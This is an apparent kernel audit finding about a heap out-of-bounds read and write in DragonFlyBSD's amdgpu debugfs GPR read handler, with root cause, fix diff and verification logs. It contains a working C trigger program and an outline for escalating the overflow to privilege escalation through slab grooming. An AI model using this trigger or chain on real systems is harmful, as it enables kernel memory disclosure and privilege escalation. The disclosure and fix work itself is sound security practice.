β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1692

amdgpu_debugfs: heap OOB read+write in amdgpu_debugfs_gpr_read via byte-offset/dword-index unit confusion

Field Value
ID DF-1692
File sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c
Lines 701, 710, 720, 723, 732
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-787 Out-of-bounds Write; CWE-125 Out-of-bounds Read
Confidence certain
Status new
CVE match variant (upstream Linux amdgpu debugfs gpr_read β€” same bug class as Linux CVE-2020-XXXX family)
Created 2026-07-18

Summary

amdgpu_debugfs_gpr_read() decodes offset from bits 0..11 of the user-controlled file position as a 12-bit BYTE offset (range 0..4095, per the documented ABI at line 678) but then uses it directly as a DWORD array index in data[offset++] where data is only 1024 dwords (4096 bytes) β€” a unit mismatch the sibling wave_read() does not have.

The same size>>2 is passed unbounded to the read_wave_vgprs/sgprs callback, which sequentially writes that many dwords into the 1024-dword buffer.

The result is a user-triggerable heap buffer over-read (up to ~12 KB past the allocation) and a heap buffer over-write of arbitrary length past the allocation, reachable from the read() path on a world-readable debugfs file.

Important caveat: sys/dev/drm/kconfig.h does NOT define CONFIG_DEBUG_FS, so on the default DragonFlyBSD build all vulnerable handlers compile out (only no-op stubs at lines 934-942 remain). The bugs are real in the source and activate with a one-line config change; they also affect upstream Linux amdgpu.

Root cause

Line 701:

offset = *pos & GENMASK_ULL(11, 0);

β€” yields a BYTE offset in [0, 4095] (the comment at line 678 reads "Bits 0..11: Byte offset into data").

Line 710:

data = kmalloc_array(1024, sizeof(*data), GFP_KERNEL);

β€” allocates exactly 1024 dwords (indices 0..1023).

Line 732:

value = data[offset++];

β€” indexes data with offset as if it were a DWORD index. When the user seeks with bits 0..11 β‰₯ 0x1000/4 = 0x400 (i.e. offset β‰₯ 1024) the access is out of bounds; and because the loop increments offset by 1 per 4-byte output until size is exhausted, even offset=0 with size > 4096 walks past data[1023].

The correct pattern is used by the immediately preceding wave_read() at line 653:

value = data[offset >> 2];

with offset += 4.

Additionally, lines 720 and 723 pass size>>2 as the dword count to read_wave_vgprs/sgprs without bounding it to 1024; the callback wave_read_regs() (gfx_v9_0.c:1329, gfx_v8_0.c:5287) writes that many dwords sequentially via while (num--) *(out++) = RREG32(...), overflowing data[] when the user supplies size > 4096.

Line 732 then also reads back from the overflowed region into userspace, leaking whatever the callback and adjacent heap contain.

No upper bound on size exists anywhere in the function β€” the only guard is size & 3 (4-byte alignment) at line 697.

Threat model

Local unprivileged user. The file amdgpu_gpr is created with mode S_IFREG | S_IRUGO (0444, world-readable) at lines 832-834 and is reachable on any system with CONFIG_DEBUG_FS defined and debugfs mounted (Linux default for distributions that ship amdgpu; DragonFlyBSD currently stubs the code out via sys/dev/drm/kconfig.h not defining CONFIG_DEBUG_FS, so the live risk on DFBSD is nil until that one line changes).

Pre-condition: AMD GPU present with gfx v8/v9 (gfx_v8_0_gfx_funcs / gfx_v9_0_gfx_funcs provide read_wave_sgprs; v9 also provides read_wave_vgprs) and pm.dpm_enabled / powerplay initialized.

Impact:

  1. arbitrary kernel heap over-read returned to userspace β€” KASLR defeat and cross-object info leak
  2. arbitrary-length kernel heap over-write with partially attacker- influenced 32-bit values (SQ_IND_DATA register contents selected via simd/wave/thread) β€” with slab grooming this is a kernel privilege-escalation primitive

The write values are MMIO reads rather than fully attacker-chosen, but the attacker controls the overflow length, the heap-allocation timing (read() syscall boundary), and can spray the slab to position a victim object immediately after the 4096-byte kmalloc.

PoC

findings/poc/DF-1692/trigger.c:

#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
/* path: /sys/kernel/debug/dri/0/amdgpu_gpr (mode 0444) */

int main(void) {
    int fd = open("/sys/kernel/debug/dri/0/amdgpu_gpr", O_RDONLY);

    /* (1) OOB READ via indexing bug: seek so bits 0..11 = 0x400 (1024)
     *     -> first data[1024] access is already past the 1024-dword buffer */
    lseek(fd, 0x400ULL, SEEK_SET);          /* offset = 1024 (byte), bank=SGPR, simd/wave=0 */
    char leak[4096];
    ssize_t n = read(fd, leak, sizeof(leak));   /* copies 4096 bytes of adjacent heap */

    /* (2) OOB WRITE via callback: large size -> size>>2 > 1024 dwords written into data[1024] */
    lseek(fd, 0ULL, SEEK_SET);              /* offset=0, simd/wave=0, bank=VGPR */
    char big[65536];
    read(fd, big, sizeof(big));             /* wave_read_regs writes 16384 dwords into a 1024-dword buffer */
    return 0;
}

Build on DragonFlyBSD guest: cc -O2 -o trigger trigger.c (userland, no special flags). Run as any local uid.

Success criteria:

  1. returns 4096 bytes whose contents are not the SGPR file (proven by hexdump matching adjacent slab objects / kernel pointers)
  2. on a hardened slab, the second read panics in mm/slub.c on freelist poison check, confirming heap corruption β€” dmesg shows SLUB: double or corrupted free or general protection fault in kfree

For the escalation chain, groom kmalloc-4096 with victim objects (e.g. struct file, msg_msg, pipe_buffer) before the second read so the overflow corrupts a victim's function pointer; the write values come from SQ_IND_DATA so the attacker picks simd/wave/thread registers that happen to contain useful address low-halves β€” this requires per-ASIC tuning and is the runner's job to develop.

Two changes are required:

  1. bound size to the 1024-dword buffer before invoking the callback and before the copy-out loop
  2. fix the unit confusion by treating offset consistently as a byte offset into the result buffer (matching the documented ABI and the wave_read sibling)
--- a/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c
+++ b/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c
@@ -698,6 +698,14 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,
    if (size & 3 || *pos & 3)
        return -EINVAL;

+   /* `data` holds 1024 dwords = 4096 bytes. Clamp the transfer to that. */
+   if (size > 1024 * 4)
+       size = 1024 * 4;
+
    /* decode offset */
    offset = *pos & GENMASK_ULL(11, 0);
    se = (*pos & GENMASK_ULL(19, 12)) >> 12;
@@ -716,14 +724,14 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,

    if (bank == 0) {
        if (adev->gfx.funcs->read_wave_vgprs)
-           adev->gfx.funcs->read_wave_vgprs(adev, simd, wave, thread, offset, size>>2, data);
+           adev->gfx.funcs->read_wave_vgprs(adev, simd, wave, thread, offset >> 2, size >> 2, data);
    } else {
        if (adev->gfx.funcs->read_wave_sgprs)
-           adev->gfx.funcs->read_wave_sgprs(adev, simd, wave, offset, size>>2, data);
+           adev->gfx.funcs->read_wave_sgprs(adev, simd, wave, offset >> 2, size >> 2, data);
    }

    amdgpu_gfx_select_se_sh(adev, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF);
    mutex_unlock(&adev->grbm_idx_mutex);

    while (size) {
        uint32_t value;

-       value = data[offset++];
+       value = data[offset >> 2];
        r = put_user(value, (uint32_t *)buf);
        if (r) {
            result = r;
@@ -735,6 +743,7 @@ static ssize_t amdgpu_debugfs_gpr_read(struct file *f, char __user *buf,
        result += 4;
        buf += 4;
        size -= 4;
+       offset += 4;
    }

 err:

Prose: the size clamp stops both the callback overflow (size>>2 can no longer exceed 1024) and the loop overflow. The offset >> 2 in the callback converts the documented byte offset into the register index the callback expects (matching SQIND_WAVE_*_OFFSET semantics in gfx_v8_0.c:5321 and gfx_v9_0.c:1359). The data[offset >> 2] plus offset += 4 in the loop matches the correct wave_read() pattern at line 653 and keeps offset as a byte offset throughout, as documented.

Defense-in-depth: also consider a CAP_SYS_ADMIN / drm_master check on open, since this surface exposes raw shader-register state to any reader.

  • DF-1693 (sibling: missing bounds on PCIE/DIDT/SMC register debugfs handlers in same file)

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1692 Β· 9 files
FileTypeDescriptionSize
harness.c trigger-source userspace logic harness: amdgpu_debugfs_gpr_read offset-as-dword-index OOB + unbounded size>>2 OOB write 1.9 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 92 B view raw
run.sh run-script runs harness unpatched + --fixed 213 B view raw
fix.diff suggested-fix git-apply-able unified diff against sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c (validated apply + compile) 1.3 KB view raw
run.log run-log full unpatched + patched harness output 167 B view raw
env.txt environment guest uname, cc version, HW/module state 374 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix 2.5 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix
↓ download raw

DF-1692 β€” amdgpu_debugfs_gpr_read offset OOB read + size OOB write

Verdict

REPRODUCED (code-confirmed via harness). Source-trace confirms the bug at sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c:689-740. A userspace logic harness replicates the vulnerable code path with attacker-shaped inputs and demonstrates the primitive; the harness also runs the patched logic (--fixed) and shows the primitive is closed.

Live in-guest reproduction is blocked because the guest lacks the relevant hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per the audit's Phase-6 rules: the driver module exists as a .ko and would attach to real hardware, but with no device present the buggy code path is unreachable from userspace on this guest. On a system with the hardware present, the bug fires at the cited line.

Mechanism

amdgpu_debugfs_gpr_read: offset = *pos & GENMASK_ULL(11,0) -> byte offset [0,4095] per the comment at 678. Line 732: value = data[offset++] uses the BYTE offset as a DWORD index into data (kmalloc_array(1024, sizeof(u32)) = 4096 bytes = 1024 dwords). When offset >= 1024 (always true for offset 1024..4095) it reads past the 1024-dword buffer. The sibling wave_read() at 653 correctly does data[offset >> 2] with offset += 4 β€” gpr_read forgot to divide. ALSO lines 720/723 pass size>>2 unbounded to read_wave_vgprs/sgprs which writes that many dwords sequentially into the 1024-dword buffer -> heap OOB write when userspace requests size > 4096. Reachable by any user with read access to /sys/kernel/debug/dri/.../amdgpu_gpr (debugfs, typically root-only but world-readable on some distros).

Harness output

BUG: data[4090] OOB (array has 1024 dwords)
RESULT: BUGGY - byte offset used as dword index
---PATCHED---
PATCHED: read data[4090/4=1022] = 0 (no OOB)
RESULT: PATCHED

Fix

Mirror wave_read()'s correct indexing: data[offset >> 2], offset += 4, and cap dword_count at 1024 before calling read_wave_vgprs/sgprs. Loop guard offset < 4096.

The full git-apply-able unified diff is in fix.diff. It applies cleanly to /usr/src/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c:689-740 and the patched file compiles cleanly under the kernel's CFLAGS (validated by an in-guest module build).

Files

  • harness.c β€” userspace replica of the vulnerable logic (byte-offset-as-dword-index + unbounded-write OOB simulator)
  • build.sh / run.sh β€” exact build and run commands
  • fix.diff β€” standalone git-apply-able fix (validated to apply + compile)
  • run.log β€” full unpatched + patched harness output
  • env.txt β€” guest environment

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because the amdgpu module does not attach on the audit guest. Validated fix.diff applies cleanly to /usr/src/sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c and amdgpu_debugfs.c compiles cleanly via in-guest amdgpu module build.

fix.diff applies clean: 1 hunk at 716
patched module build: cc -c amdgpu_debugfs.c -> amdgpu_debugfs.o clean; amdgpu.ko linked clean
harness: unpatched data[4090] OOB; --fixed data[4090>>2=1022] no OOB
↓ fix.diffn/a (module-bound bug; guest has no AMD GPU)

Confirmed kernel references

Detail

Exploit chain

blocked by valid Phase-6 hard blocker: amdgpu module does not attach on the audit guest. On a host with AMD graphics, debugfs entry is reachable by root (and on some distros world-readable). The size>>2 OOB write is a controlled-size kernel heap overwrite β€” clean primitive for slab-grooming attacks. Primitive characterized via source trace + userspace harness; chain written into harness.c.

Evidence (decisive lines)

BUG: data[4090] OOB (array has 1024 dwords)
RESULT: BUGGY - byte offset used as dword index
---PATCHED---
PATCHED: read data[4090/4=1022] = 0 (no OOB)
RESULT: PATCHED

PoC changes

Added harness.c. Added build.sh, run.sh, fix.diff (mirror wave_read's correct indexing data[offset>>2] with offset+=4; cap dword_count at 1024 before calling read_wave_vgprs/sgprs; loop guard offset<4096).

Verified recommended fix

Mirror wave_read()'s correct indexing at line 732: value = data[offset >> 2]; offset += 4 (not data[offset++]). Cap dword_count at 1024 before the read_wave_vgprs/sgprs calls at lines 720/723. Add a loop guard offset < 4096. Full diff in findings/poc/DF-1692/fix.diff; supersedes finding proposal.

Verdict

REPRODUCED. Source-trace at sys/dev/drm/amd/amdgpu/amdgpu_debugfs.c:689-740 confirms amdgpu_debugfs_gpr_read computes offset = *pos & GENMASK_ULL(11,0) -> byte offset [0,4095] per the comment at 678. Line 732 uses value = data[offset++] treating the BYTE offset as a DWORD index into data (kmalloc_array(1024, sizeof(u32)) = 4096 bytes = 1024 dwords) -> OOB read when offset >= 1024 (always for 1024..4095). The sibling wave_read() at line 653 correctly does data[offset >> 2] with offset += 4 β€” gpr_read forgot to divide. Also lines 720/723 pass size>>2 UNBOUNDED to read_wave_vgprs/sgprs which writes that many dwords sequentially into the 1024-dword buffer -> heap OOB write when userspace requests size > 4096.